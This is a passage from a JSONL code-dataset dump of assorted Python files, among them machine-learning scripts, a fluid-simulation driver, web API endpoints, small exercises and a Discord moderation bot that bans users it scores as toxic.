[None,])\n self.rewards = tf.placeholder(tf.float32, [None,])\n self.q_next = tf.placeholder(tf.float32, [None,])\n batch_size = tf.shape(self.states)[0]\n\n with tf.variable_scope('critic_network', reuse=tf.AUTO_REUSE):\n critic_outputs = self.critic_network(self.states)\n self.q = self.getQValues(critic_outputs, self.actions, batch_size)\n\n self.error = self.rewards + self.discount_factor * self.q_next - self.q\n loss = tf.reduce_mean(tf.square(self.error))\n\n self.train_op = self.optimizer.minimize(loss, var_list=tf.trainable_variables(scope='critic_network'))\n\n def learn(self, state, action, reward, next_state, next_action):\n q_next = self.session.run(self.q, {self.states: [next_state], self.actions: [next_action]}).squeeze()\n td_error, _ = self.session.run([self.q, self.train_op], {\n self.states: [state],\n self.rewards: [reward],\n self.actions: [action],\n self.q_next: [q_next]\n })\n return td_error.squeeze()","sub_path":"policy_gradient/ActionValueActorCritic.py","file_name":"ActionValueActorCritic.py","file_ext":"py","file_size_in_byte":7481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"514195655","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 22 10:35:14 2017\n\n@author: jorisguerin\n\"\"\"\n\nimport pickle \nimport glob\n\nimport numpy as np\nimport sklearn.cluster as clst\nimport sklearn.mixture as mxt\nimport matplotlib.pyplot as plt\n\n#import gapRatioKmeans as grkm\n#import cvKmeans as cvkm\n#import regularKmeans as regkm\n\n#import cv2\n\nplt.close(\"all\")\n\nPATH = 'PICKLE_FILES/screws/vgg19/fc2_'\n#PATH = 'PICKLE_FILES/Resnet50/fc1000_'\nPATH_DATA = 'DATA/screws/'\n\nsetToSort = []\ntargets = []\nfiles_img = []\n\nfor filename in glob.iglob(PATH + '*.p'):\n fichier = open(filename, 'rb')\n features = pickle.load(fichier)\n fichier.close()\n \n files_img.append(PATH_DATA + filename[len(PATH):-2])\n \n features = np.ndarray.flatten(features)\n \n setToSort.append(features)\n \n if filename[len(PATH)] == 'f':\n targets.append(0)\n elif filename[len(PATH)] == 'k':\n targets.append(1)\n else:\n targets.append(2)\n \nSet = np.array(setToSort)\n\n#classes = clst.SpectralClustering(3).fit_predict(Set)\n\n#classes = clst.AgglomerativeClustering(3).fit_predict(Set)\n\nclasses = clst.KMeans(4).fit_predict(Set)\n#classes = regkm.regKmeans(Set, 3, False, False)\n#classes = cvkm.cvKmeans(Set, 3, False, False)\n#classes = grkm.grKmeans(Set, 3, False, False)\n\nfiles_img = np.array(files_img)\n\nfor i in range(len(set(classes))):\n# plt.figure()\n# \n imgs = files_img[classes == i]\n# \n k = 1\n for im in imgs:\n print(im)\n# img = cv2.imread(im)\n# plt.subplot(3, 4, k)\n# plt.imshow(img)\n k = k + 1\n print('\\n')\n","sub_path":"cluster_images_screws.py","file_name":"cluster_images_screws.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"28204095","text":"from __future__ import print_function, absolute_import, division #makes KratosMultiphysics backward compatible with python 2.6 and 2.7\n\nfrom KratosMultiphysics import *\nfrom KratosMultiphysics.FluidDynamicsApplication import *\nfrom KratosMultiphysics.ExternalSolversApplication import *\nfrom KratosMultiphysics.MeshingApplication import *\nfrom KratosMultiphysics.CompressiblePotentialFlowApplication import *\n######################################################################################\n######################################################################################\n######################################################################################\n\n## Parse the ProjectParameters\nparameter_file = open(\"ProjectParameters.json\",'r')\nProjectParameters = Parameters( parameter_file.read())\n\n## Get echo level and parallel type\nverbosity = ProjectParameters[\"problem_data\"][\"echo_level\"].GetInt()\nparallel_type = ProjectParameters[\"problem_data\"][\"parallel_type\"].GetString()\n\n## Import KratosMPI if needed\nif (parallel_type == \"MPI\"):\n import KratosMultiphysics.mpi as KratosMPI\n\n## Fluid model part definition\nmain_model_part = ModelPart(ProjectParameters[\"problem_data\"][\"model_part_name\"].GetString())\nmain_model_part.ProcessInfo.SetValue(DOMAIN_SIZE, ProjectParameters[\"problem_data\"][\"domain_size\"].GetInt())\n\n###TODO replace this \"model\" for real one once available\nModel = {ProjectParameters[\"problem_data\"][\"model_part_name\"].GetString() : main_model_part}\n\n## Solver construction\nimport potential_flow_solver\nsolver = potential_flow_solver.CreateSolver(main_model_part, ProjectParameters[\"solver_settings\"])\n\nsolver.AddVariables()\n\n## Read the model - note that SetBufferSize is done here\nsolver.ImportModelPart()\n\n## Add AddDofs\nsolver.AddDofs()\n\n## Initialize GiD I/O\nif (parallel_type == \"OpenMP\"):\n from gid_output_process import GiDOutputProcess\n gid_output = GiDOutputProcess(solver.GetComputingModelPart(),\n ProjectParameters[\"problem_data\"][\"problem_name\"].GetString() ,\n ProjectParameters[\"output_configuration\"])\nelif (parallel_type == \"MPI\"):\n from gid_output_process_mpi import GiDOutputProcessMPI\n gid_output = GiDOutputProcessMPI(solver.GetComputingModelPart(),\n ProjectParameters[\"problem_data\"][\"problem_name\"].GetString() ,\n ProjectParameters[\"output_configuration\"])\n\ngid_output.ExecuteInitialize()\n\n##TODO: replace MODEL for the Kratos one ASAP\n## Get the list of the skin submodel parts in the object Model\nfor i in range(ProjectParameters[\"solver_settings\"][\"skin_parts\"].size()):\n skin_part_name = ProjectParameters[\"solver_settings\"][\"skin_parts\"][i].GetString()\n Model.update({skin_part_name: main_model_part.GetSubModelPart(skin_part_name)})\n\n## Get the list of the no-skin submodel parts in the object Model (results processes and no-skin conditions)\nfor i in range(ProjectParameters[\"solver_settings\"][\"no_skin_parts\"].size()):\n no_skin_part_name = ProjectParameters[\"solver_settings\"][\"no_skin_parts\"][i].GetString()\n Model.update({no_skin_part_name: main_model_part.GetSubModelPart(no_skin_part_name)})\n\n## Get the list of the initial conditions submodel parts in the object Model\nfor i in range(ProjectParameters[\"initial_conditions_process_list\"].size()):\n initial_cond_part_name = ProjectParameters[\"initial_conditions_process_list\"][i][\"Parameters\"][\"model_part_name\"].GetString()\n Model.update({initial_cond_part_name: main_model_part.GetSubModelPart(initial_cond_part_name)})\n\n## Get the gravity submodel part in the object Model\nfor i in range(ProjectParameters[\"gravity\"].size()):\n gravity_part_name = ProjectParameters[\"gravity\"][i][\"Parameters\"][\"model_part_name\"].GetString()\n Model.update({gravity_part_name: main_model_part.GetSubModelPart(gravity_part_name)})\n\n## Print model_part and properties\nif(verbosity > 1):\n print(\"\")\n print(main_model_part)\n for properties in main_model_part.Properties:\n print(properties)\n\n## Processes construction\nimport process_factory\n# \"list_of_processes\" contains all the processes already constructed (boundary conditions, initial conditions and gravity)\n# Note 1: gravity is firstly constructed. Outlet process might need its information.\n# Note 2: conditions are constructed before BCs. Otherwise, they may overwrite the BCs information.\nlist_of_processes = process_factory.KratosProcessFactory(Model).ConstructListOfProcesses( ProjectParameters[\"gravity\"] )\nlist_of_processes += process_factory.KratosProcessFactory(Model).ConstructListOfProcesses( ProjectParameters[\"initial_conditions_process_list\"] )\nlist_of_processes += process_factory.KratosProcessFactory(Model).ConstructListOfProcesses( ProjectParameters[\"boundary_conditions_process_list\"] )\nlist_of_processes += process_factory.KratosProcessFactory(Model).ConstructListOfProcesses( ProjectParameters[\"auxiliar_process_list\"] )\n\nif(verbosity > 1):\n for process in list_of_processes:\n print(process)\n\n## Processes initialization\nfor process in list_of_processes:\n process.ExecuteInitialize()\n\n## Solver initialization\nsolver.Initialize()\n\n#TODO: think if there is a better way to do this\nfluid_model_part = solver.GetComputingModelPart()\n\nvinfinity = Vector(3)\nvinfinity[0] = 10.0\nvinfinity[1] = 0.0\nvinfinity[2] = 0.0\nmain_model_part.ProcessInfo.SetValue(VELOCITY,vinfinity)\n\n\n## Stepping and time settings\n# Dt = ProjectParameters[\"problem_data\"][\"time_step\"].GetDouble()\nstart_time = ProjectParameters[\"problem_data\"][\"start_time\"].GetDouble()\nend_time = ProjectParameters[\"problem_data\"][\"end_time\"].GetDouble()\n\ntime = start_time\nstep = 0\nout = 0.0\n\ngid_output.ExecuteBeforeSolutionLoop()\n\nfor process in list_of_processes:\n process.ExecuteBeforeSolutionLoop()\n\n## Writing the full ProjectParameters file before solving\nif ((parallel_type == \"OpenMP\") or (KratosMPI.mpi.rank == 0)) and (verbosity > 0):\n f = open(\"ProjectParametersOutput.json\", 'w')\n f.write(ProjectParameters.PrettyPrintJsonString())\n f.close()\n \n\nwhile(time <= end_time):\n\n Dt = 0.01\n step += 1\n time = time + Dt\n main_model_part.CloneTimeStep(time)\n\n if (parallel_type == \"OpenMP\") or (KratosMPI.mpi.rank == 0):\n print(\"\")\n print(\"STEP = \", step)\n print(\"TIME = \", time)\n\n for process in list_of_processes:\n process.ExecuteInitializeSolutionStep()\n\n gid_output.ExecuteInitializeSolutionStep()\n\n if(step >= 3):\n solver.Solve()\n \n \n\n for process in list_of_processes:\n process.ExecuteFinalizeSolutionStep()\n\n gid_output.ExecuteFinalizeSolutionStep()\n\n #TODO: decide if it shall be done only when output is processed or not\n for process in list_of_processes:\n process.ExecuteBeforeOutputStep()\n\n if gid_output.IsOutputStep():\n gid_output.PrintOutput()\n\n for process in list_of_processes:\n process.ExecuteAfterOutputStep()\n\n out = out + Dt\n\nfor process in list_of_processes:\n process.ExecuteFinalize()\n\ngid_output.ExecuteFinalize()\n","sub_path":"applications/CompressiblePotentialFlowApplication/python_scripts/MainKratos.py","file_name":"MainKratos.py","file_ext":"py","file_size_in_byte":7116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"285392787","text":"import json\n\nfrom crownstone_core.packets.behaviour.ActiveDays import ActiveDays\nfrom crownstone_core.packets.behaviour.BehaviourTypes import BehaviourType, DAY_START_TIME_SECONDS_SINCE_MIDNIGHT\nfrom crownstone_core.packets.behaviour.PresenceDescription import BehaviourPresence\nfrom crownstone_core.packets.behaviour.TimeDescription import BehaviourTimeContainer, BehaviourTime, BehaviourTimeType\nfrom crownstone_core.util.BufferReader import BufferReader\nfrom crownstone_core.util.Fletcher import fletcher32_uint8Arr\n\n\ndef DEFAULT_ACTIVE_DAYS():\n return ActiveDays()\n\n\ndef DEFAULT_TIME():\n return BehaviourTimeContainer(\n BehaviourTime().fromType(BehaviourTimeType.afterSunset),\n BehaviourTime().fromType(BehaviourTimeType.afterSunrise),\n )\n\n\n\nclass BehaviourBase:\n\n def __init__(self, profileIndex=None, behaviourType=BehaviourType.behaviour, intensity=None, activeDays=None, time=None, presence=None, endCondition=None, idOnCrownstone=None):\n self.profileIndex = 0 if profileIndex is None else profileIndex\n self.behaviourType = behaviourType\n self.intensity = 100 if intensity is None else max(0, min(100, intensity))\n self.activeDays = DEFAULT_ACTIVE_DAYS() if activeDays is None else activeDays\n self.fromTime = DEFAULT_TIME().fromTime if time is None else time.fromTime\n self.untilTime = DEFAULT_TIME().untilTime if time is None else time.untilTime\n self.presence = presence\n self.endCondition = endCondition\n self.idOnCrownstone = idOnCrownstone\n\n self.valid = True\n\n\n def setDimPercentage(self, value):\n self.intensity = value\n return self\n\n def setTimeAllday(self, dayStartTimeSecondsSinceMidnight=DAY_START_TIME_SECONDS_SINCE_MIDNIGHT):\n self.fromTime = BehaviourTime().fromType(BehaviourTimeType.afterMidnight, dayStartTimeSecondsSinceMidnight)\n self.untilTime = BehaviourTime().fromType(BehaviourTimeType.afterMidnight, dayStartTimeSecondsSinceMidnight)\n return self\n \n def setTimeWhenDark(self):\n self.fromTime = BehaviourTime().fromType(BehaviourTimeType.afterSunset)\n self.untilTime = BehaviourTime().fromType(BehaviourTimeType.afterSunrise)\n return self\n \n def setTimeWhenSunUp(self):\n self.fromTime = BehaviourTime().fromType(BehaviourTimeType.afterSunrise)\n self.untilTime = BehaviourTime().fromType(BehaviourTimeType.afterSunset)\n return self\n \n def setTimeFromSunrise(self, offsetMinutes = 0):\n self.fromTime = BehaviourTime().fromType(BehaviourTimeType.afterSunrise, offsetSeconds=60*offsetMinutes)\n return self\n \n def setTimeFromSunset(self, offsetMinutes = 0):\n self.fromTime = BehaviourTime().fromType(BehaviourTimeType.afterSunset, offsetSeconds=60*offsetMinutes)\n return self\n \n def setTimeToSunrise(self, offsetMinutes = 0):\n self.untilTime = BehaviourTime().fromType(BehaviourTimeType.afterSunrise, offsetSeconds=60*offsetMinutes)\n return self\n \n \n def setTimeToSunset(self, offsetMinutes = 0):\n self.untilTime = BehaviourTime().fromType(BehaviourTimeType.afterSunset, offsetSeconds=60 * offsetMinutes)\n return self\n \n def setTimeFrom(self, hours, minutes): \n self.fromTime = BehaviourTime().fromTime(hours, minutes)\n return self\n \n \n def setTimeTo(self, hours, minutes):\n self.untilTime = BehaviourTime().fromTime(hours, minutes)\n return self\n \n\n \"\"\"\n The payload is made up from\n - BehaviourType 1B\n - Intensity 1B\n - profileIndex 1B\n - ActiveDays 1B\n - From 5B\n - Until 5B\n\n - Presence 13B --> for Switch Behaviour and Smart Timer\n - End Condition 17B --> for Smart Timer\n \"\"\"\n\n def fromData(self, data):\n payload = BufferReader(data)\n\n firstByte = payload.getUInt8()\n if not BehaviourType.has_value(firstByte):\n self.valid = False\n return self\n\n self.behaviourType = BehaviourType(firstByte)\n self.intensity = payload.getUInt8()\n self.profileIndex = payload.getUInt8()\n self.activeDays = ActiveDays().fromData(payload.getUInt8())\n self.fromTime = BehaviourTime().fromData(payload.getBytes(5)) # 4 5 6 7 8\n self.untilTime = BehaviourTime().fromData(payload.getBytes(5)) # 9 10 11 12 13\n\n if self.fromTime.valid == False or self.untilTime.valid == False:\n self.valid = False\n return self\n\n if self.behaviourType == BehaviourType.behaviour:\n if payload.length >= 14 + 13:\n self.presence = BehaviourPresence().fromData(\n payload.getBytes(13)) # 14 15 16 17 18 19 20 21 22 23 24 25 26\n if not self.presence.valid:\n self.valid = False\n return self\n else:\n self.valid = False\n return self\n\n if self.behaviourType == BehaviourType.smartTimer:\n if payload.length >= 14 + 13 + 17:\n presence = BehaviourPresence().fromData(payload.getBytes(17))\n if not presence.valid:\n self.valid = False\n return self\n\n self.endCondition = presence\n\n else:\n self.valid = False\n return self\n\n\n def getPacket(self):\n arr = []\n\n arr.append(self.behaviourType.value)\n arr.append(self.intensity)\n arr.append(self.profileIndex)\n\n arr.append(self.activeDays.getMask())\n\n arr += self.fromTime.getPacket()\n arr += self.untilTime.getPacket()\n\n return arr\n\n\n def getHash(self):\n return fletcher32_uint8Arr(self._getPaddedPacket())\n\n def getDictionary(self, dayStartTimeSecondsSinceMidnight=DAY_START_TIME_SECONDS_SINCE_MIDNIGHT):\n typeString = \"BEHAVIOUR\"\n if self.behaviourType == BehaviourType.twilight:\n typeString = \"TWILIGHT\"\n\n dataDictionary = {}\n if self.behaviourType == BehaviourType.twilight:\n dataDictionary[\"action\"] = {\"type\": \"DIM_WHEN_TURNED_ON\", \"data\": self.intensity}\n dataDictionary[\"time\"] = self._getTimeDictionary(dayStartTimeSecondsSinceMidnight)\n\n else:\n # behaviour and smart timer have the same format\n dataDictionary[\"action\"] = {\"type\": \"BE_ON\", \"data\": self.intensity}\n dataDictionary[\"time\"] = self._getTimeDictionary(dayStartTimeSecondsSinceMidnight)\n\n if self.presence is not None:\n dataDictionary[\"presence\"] = self.presence.getDictionary()\n\n if self.endCondition is not None:\n endConditionDictionary = {}\n endConditionDictionary[\"type\"] = \"PRESENCE_AFTER\"\n endConditionDictionary[\"presence\"] = self.endCondition.getDictionary()\n\n dataDictionary[\"endCondition\"] = endConditionDictionary\n\n returnDict = {\"type\": typeString, \"data\": dataDictionary, \"activeDays\": self.activeDays.getDictionary(),\n \"idOnCrownstone\": self.idOnCrownstone, \"profileIndex\": self.profileIndex}\n\n return returnDict\n\n def _getTimeDictionary(self, dayStartTimeSecondsSinceMidnight=DAY_START_TIME_SECONDS_SINCE_MIDNIGHT):\n returnDict = {}\n\n # check if always\n if self.fromTime.timeType == BehaviourTimeType.afterMidnight and self.fromTime.offset == dayStartTimeSecondsSinceMidnight and self.untilTime.timeType == BehaviourTimeType.afterMidnight and self.untilTime.offset == dayStartTimeSecondsSinceMidnight:\n returnDict[\"type\"] = \"ALL_DAY\"\n return returnDict\n\n # its not always! construct the from and to parts.\n returnDict[\"type\"] = \"RANGE\"\n returnDict[\"from\"] = self.fromTime.getDictionary()\n returnDict[\"to\"] = self.untilTime.getDictionary()\n\n return returnDict\n\n def _getPaddedPacket(self):\n packet = self.getPacket()\n if len(packet) % 2 != 0:\n packet.append(0)\n\n return packet\n\n\n def __str__(self):\n return json.dumps(self.getDictionary())","sub_path":"vendor/crownstone_core/packets/behaviour/BehaviourBase.py","file_name":"BehaviourBase.py","file_ext":"py","file_size_in_byte":8203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"644826380","text":"rakamlar={0:\"\",1:\"one\",2:\"two\",3:\"three\",4:\"four\",5:\"five\",6:\"six\",7:\"seven\",8:\"eight\",9:\"nine\"}\nozel={10:\"ten\",11:\"eleven\",12:\"twelve\",20:\"twenty\",30:\"thirty\",40:\"forty\",50:\"fifty\",60:\"sixty\",70:\"seventy\",80:\"eighty\",90:\"ninety\",13:\"thirteen\",15:\"fifteen\",18:\"eighteen\"}\n\ndef birbasamakli(n):\n return rakamlar[n]\n\ndef ikibasamakli(n):\n n=str(n)\n if n in [\"10\",\"11\",\"12\",\"13\",\"15\",\"18\"]: return ozel[int(n)]\n elif 10 JSONType:\n \"\"\"\n GET /topics/\n\n :raises: backend.errors.UnauthorizedError (HTTP error 401)\n \"\"\"\n return db.get_topics(user_id=request.user.id)\n\n\n@marshal_with(TopicSchema, many=True)\ndef get_topics() -> JSONType:\n \"\"\"\n GET /topics/\n\n :raises: backend.errors.UnauthorizedError (HTTP error 401)\n \"\"\"\n return db.get_topics()\n\n\n@marshal_with(TopicSchema)\ndef get_topic(topic_id: int) -> JSONType:\n \"\"\"\n GET /topic/{topic_id}\n\n :raises: backend.errors.UnauthorizedError (HTTP error 401)\n backend.errors.NotFoundError (HTTP error 404)\n \"\"\"\n result = db.get_topic_by_id(topic_id)\n\n if result is None:\n raise NotFoundError(f\"Topic with id {topic_id} does not exist\")\n\n return result\n\n\n@marshal_with(TopicSchema)\ndef post_topic() -> t.Tuple[JSONType, int]:\n \"\"\"\n POST /topics/\n\n :raises: backend.errors.UnauthorizedError (HTTP error 401)\n backend.errors.BadRequestError (HTTP error 400)\n \"\"\"\n\n try:\n topic = TopicSchema().load(request.get_json())\n topic.user_id = request.user.id\n\n events.create_topic_event(topic)\n except ValidationError as e:\n raise BadRequestError(str(e))\n except SQLAlchemyError as e:\n if is_duplicate_record_error(e):\n raise ConflictError(\"Topic with same data already exists in DB\")\n raise\n\n return topic, 201\n\n\n# @marshal_with(TopicSchema)\n# def put_topic(topic_id: int) -> JSONType:\n# \"\"\"\n# PUT /topics/{topic_id}\n#\n# :raises: backend.errors.UnauthorizedError (HTTP error 401)\n# backend.errors.NotFoundError (HTTP error 404)\n# backend.errors.BadRequestError (HTTP error 400)\n# \"\"\"\n#\n# user = request.user\n# params = {} if user.is_admin else {'user_id': user.id}\n#\n# topic = db.get_topic_by_id(topic_id, **params)\n#\n# if topic is None:\n# raise NotFoundError(f\"Topic with id {topic_id} does not exist\")\n#\n# current_topic = deepcopy(topic)\n# try:\n# updated_topic = unmarshal(TopicSchema, request.get_json(), instance=topic)\n#\n# events.update_topic_event(current_topic, updated_topic)\n# except ValidationError as e:\n# raise BadRequestError(str(e))\n# except SQLAlchemyError as e:\n# if is_duplicate_record_error(e):\n# raise ConflictError(\"Topic with same data already exists in DB\")\n# raise\n#\n# return updated_topic\n\n\ndef delete_topic(topic_id: int) -> t.Tuple[None, int]:\n \"\"\"\n DELETE /topics/{topic_id}\n\n :raises: backend.errors.UnauthorizedError (HTTP error 401)\n backend.errors.NotFoundError (HTTP error 404)\n \"\"\"\n user = request.user\n params = {} if user.is_admin else {'user_id': user.id}\n\n topic = db.get_topic_by_id(topic_id, **params)\n\n if topic is None:\n raise NotFoundError(f\"Topic with id {topic_id} does not exist\")\n\n events.delete_topic_event(topic)\n\n return None, 204\n","sub_path":"subscription_manager/endpoints/topics.py","file_name":"topics.py","file_ext":"py","file_size_in_byte":5328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"264169864","text":"# -*- coding: utf-8 -*-\n\nfrom django.conf.urls import url, include\n\nfrom rest_framework import routers\n\nfrom rest_api.rest_classes.views import UserViewSet, PizzaMenuItemViewSet\n\n__author__ = 'sobolevn'\n\n\nrouter = routers.DefaultRouter()\nrouter.register(r'users', UserViewSet)\nrouter.register(r'pizzamenuitem', PizzaMenuItemViewSet)\n\nurlpatterns = [\n url(r'^', include(router.urls)),\n]\n","sub_path":"homework-22/django_orm_example/rest_api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"521837714","text":"import numpy as np # linear algebra\r\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\r\nfrom sklearn.model_selection import train_test_split\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout, Activation, Flatten, Conv2D, pooling\r\nfrom keras.optimizers import Adam\r\nfrom keras import optimizers\r\n\r\n# Input data files are available in the \"../input/\" directory.\r\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\r\n\r\nfrom subprocess import check_output\r\n\r\n#create the training & test sets, skipping the header row with [1:]\r\ndata = pd.read_csv(\"final.csv\",header=None)\r\nx = data.ix[:,1:].values.astype('float32')\r\ny = data.ix[:,0].values.astype('float32')\r\nX_train, X_test, y_train, y_test = train_test_split(x,y, test_size=0.30, random_state=42)\r\n\r\n\r\nX_train = X_train.reshape(896, 129, 32,1)\r\nX_test = X_test.reshape(384, 129, 32,1)\r\n\r\n\r\n\r\n\r\nfrom keras.utils.np_utils import to_categorical\r\ny_train = to_categorical(y_train)\r\n\r\n\r\nmodel = Sequential()\r\nmodel.add(Conv2D(100, (3,3), activation='relu', input_shape=(129,32,1)))\r\nprint(model.output_shape)\r\n\r\nmodel.add(Conv2D(100, (3,3), activation='relu'))\r\nmodel.add(pooling.MaxPooling2D(pool_size=(2,2)))\r\nmodel.add(Dropout(0.25))\r\n#print(model.output_shape)\r\n\r\nmodel.add(Flatten())\r\nmodel.add(Dense(128, activation='relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(16, activation='softmax'))\r\n\r\nsgd = optimizers.SGD(lr=0.001, decay=1e-6, momentum=0.9, nesterov=True)\r\n\r\nmodel.compile(loss='categorical_crossentropy',optimizer=sgd, metrics=['accuracy'])\r\n\r\nmodel.fit(X_train, y_train, batch_size=32, nb_epoch=300, verbose=1)\r\nmodel.save(\"eegModel5.h5\")\r\npredictions = model.predict_classes(X_test, batch_size=32)\r\nprint(predictions)\r\nsubmissions=pd.DataFrame({\"VideoId\": list(range(1,len(predictions)+1)), \"Label\": predictions})\r\nsubmissions.to_csv(\"outEEG.csv\", index=False, header=True)","sub_path":"Day No-24 EEG-EMOTION CLASSIFICATION using CNN/EEG_cnn_EmotionClassification.py","file_name":"EEG_cnn_EmotionClassification.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"597296121","text":"from nltk.util import pad_sequence\nfrom config import *\n\n'''\nDesc: Convert syllable-segmented text to tokens of tags\nIn : data_train (pd.DataFrame)\nOut : List\n'''\ndef tokenize(data_train):\n tokens = []\n\n for syl_word in data_train['syllables']:\n # Split words that have hyphen\n syl_sub_words = syl_word.replace('-', ' ').split() \n\n for syl_sub_word in syl_sub_words:\n n = len(syl_sub_word)\n word_tokens = []\n\n for i in range(n):\n # Skip if the current char is a syllable boundary\n if syl_sub_word[i] == '.':\n continue\n # Last char is always a syllable-end\n if i == n-1:\n token = syl_sub_word[i] + SYLEND\n # If next char is a syllable boundary\n elif syl_sub_word[i+1] == '.':\n token = syl_sub_word[i] + SYLEND\n # If next char is not syllable boundary\n else:\n token = syl_sub_word[i] + SYLMID\n word_tokens.append(token)\n \n tokens.append(word_tokens)\n \n return tokens\n\n\n'''\nDesc: Convert syllable-segmented phonemic text to tokens of tags\nIn : data_train (pd.DataFrame)\nOut : List\n'''\ndef tokenize_g2p(data_train):\n tokens = []\n\n for syl_word in data_train['syllables']:\n # Split words that have hyphen\n syl_sub_words = syl_word.replace('-', ' ').split() \n\n for syl_sub_word in syl_sub_words:\n tokens.append(list(syl_sub_word))\n \n return tokens\n\n\n'''\nDesc: Pad the beginning of each word with n number of token '#' and the ending with an end marker\nIn : tokens (List), n (int), start_pad (bool), end_marker (bool)\nOut : List\n'''\ndef pad_tokens(tokens, n, start_pad=True, end_marker=True):\n assert start_pad or end_marker\n \n # Add front padding\n if start_pad:\n padded_tokens = [list(pad_sequence(wt, n, pad_left=True, left_pad_symbol=STARTPAD)) for wt in tokens]\n \n # Add end marker\n if end_marker:\n padded_tokens = [wt + [WORDEND] for wt in padded_tokens]\n \n return padded_tokens","sub_path":"src/training/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"629138787","text":"# I want to be able to call is_sorted from main w/ various lists and get\n# returned True or False.\n# In your final submission:\n# - Do not print anything extraneous!\n# - Do not put anything but pass in main()\n\ndef is_sorted(list_name):\n\tfor idx,item in enumerate(list_name):\n\t\t# First value doesn't have to be checked\n\t\tif idx != 0:\n\t\t\tif item < list_name[idx-1]:\n\t\t\t\treturn False\n\treturn True\n\n\ndef main():\n\tprint(is_sorted([1,2,3,4]))\n\nif __name__ == '__main__':\n main()","sub_path":"HW07_ch10_ex06.py","file_name":"HW07_ch10_ex06.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"254971687","text":"import numpy as np\n\narr_1 = np.ones((3,3)) #2차원 넘피배열 \n\n#arr_2 = np.reshape(arr_1,(5,3)) #넘피 배열은 열과 행을 뒤집는것도 가능하다\n\n\n\nprint(arr_1)\n#print(arr_2)\n\narr = [[3,3,3],[3,3,3],[3,3,3]]\n\nfrom functools import reduce\n\nasd = list(reduce(lambda x, y: x+y, arr))\n\nprint(\"asd : \", asd)\n\nb = np.reshape(arr,(3,3)) #일반 배열을 넘피배열로 활용하는것도 가능함 ! \n #일반 배열을 넘피배열로 바꾼 경우는 값 사이가 공백임\n #일반배열은 값 사이가 쉼표\n #넘피배열은 값 사이가 온점\nprint(type(b))\n\narr = [6,6]\nn_arr = np.array(arr)\n# c = arr(n_arr)\n\nprint(type(arr),\":\", arr)\nprint(type(n_arr),\":\", n_arr)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"basic_python/HELLOPYTHON/day11/mynumpy02.py","file_name":"mynumpy02.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"397282211","text":"import discord\nfrom discord.ext import commands\nimport os\nfrom dotenv import load_dotenv\nimport json\n\nload_dotenv(\".env\")\nclient = commands.Bot(command_prefix=\"et \")\nclient.remove_command(\"help\")\n\n# Dictionaries\npos_words = open(\"positive_words.txt\", \"r\")\nneg_words = open(\"negative_words.txt\", \"r\")\n\n\n@client.event\nasync def on_ready():\n print(\"My Boty is ready...\")\n\n\nasync def read_dic(msg, dic):\n max_points = 0\n dic.seek(0)\n for line in dic.readlines():\n word = line.split()[0].lower()\n if word in msg.content.lower():\n points = int(line.split()[1])\n else:\n points = 0\n\n if points > max_points:\n max_points = points\n\n return max_points\n\n\nasync def edit_user(msg, user, points):\n with open(\"users.json\", \"r\") as file:\n users = json.load(file)\n\n if user not in users:\n users[user] = {}\n users[user][\"Reputation\"] = 0\n users[user][\"Kindness\"] = 0\n users[user][\"Toxicness\"] = 0\n if points > 0:\n users[user][\"Reputation\"] += points\n users[user][\"Kindness\"] += points\n\n if users[user][\"Kindness\"] >= 24 and users[user][\"Toxicness\"] > 0:\n users[user][\"Kindness\"] -= 24\n users[user][\"Toxicness\"] -= 1\n elif points < 0:\n users[user][\"Reputation\"] += points\n users[user][\"Toxicness\"] -= points\n if users[user][\"Toxicness\"] > 30:\n users[user][\"Toxicness\"] = 30\n\n await msg.channel.send(f\"{msg.author.mention},\"\n f\" you should probably refrain from being toxic *[{users[user]['Toxicness']}/30]*\")\n if users[user][\"Toxicness\"] >= 30:\n users[user][\"Toxicness\"] = 0\n try:\n await msg.author.ban(reason=\"Toxic Behaviour\")\n await msg.channel.send(f\"{msg.author} has been *banned*\")\n except discord.Forbidden:\n await msg.channel.send(\"**ERROR:** My permissions are not high enough to ban this user\")\n\n with open(\"users.json\", \"w\") as file:\n json.dump(users, file, indent=4)\n\n\n@client.event\nasync def on_message(msg):\n if not msg.author.bot:\n max_points = await read_dic(msg, pos_words)\n await edit_user(msg, str(msg.author.id), max_points)\n\n max_points = await read_dic(msg, neg_words)\n await edit_user(msg, str(msg.author.id), -max_points)\n\n await client.process_commands(msg)\n\n\n@client.command(aliases=[\"p\", \"prof\"])\nasync def profile(ctx, victim: discord.User = None):\n with open(\"users.json\", \"r\") as file:\n users = json.load(file)\n\n if victim and not victim.bot:\n user = str(victim.id)\n user_info = victim\n else:\n user = str(ctx.author.id)\n user_info = ctx.author\n\n if user not in users:\n users[user] = {}\n users[user][\"Reputation\"] = 0\n users[user][\"Kindness\"] = 0\n users[user][\"Toxicness\"] = 0\n\n with open(\"users.json\", \"w\") as file:\n json.dump(users, file, indent=4)\n\n profile_embed = 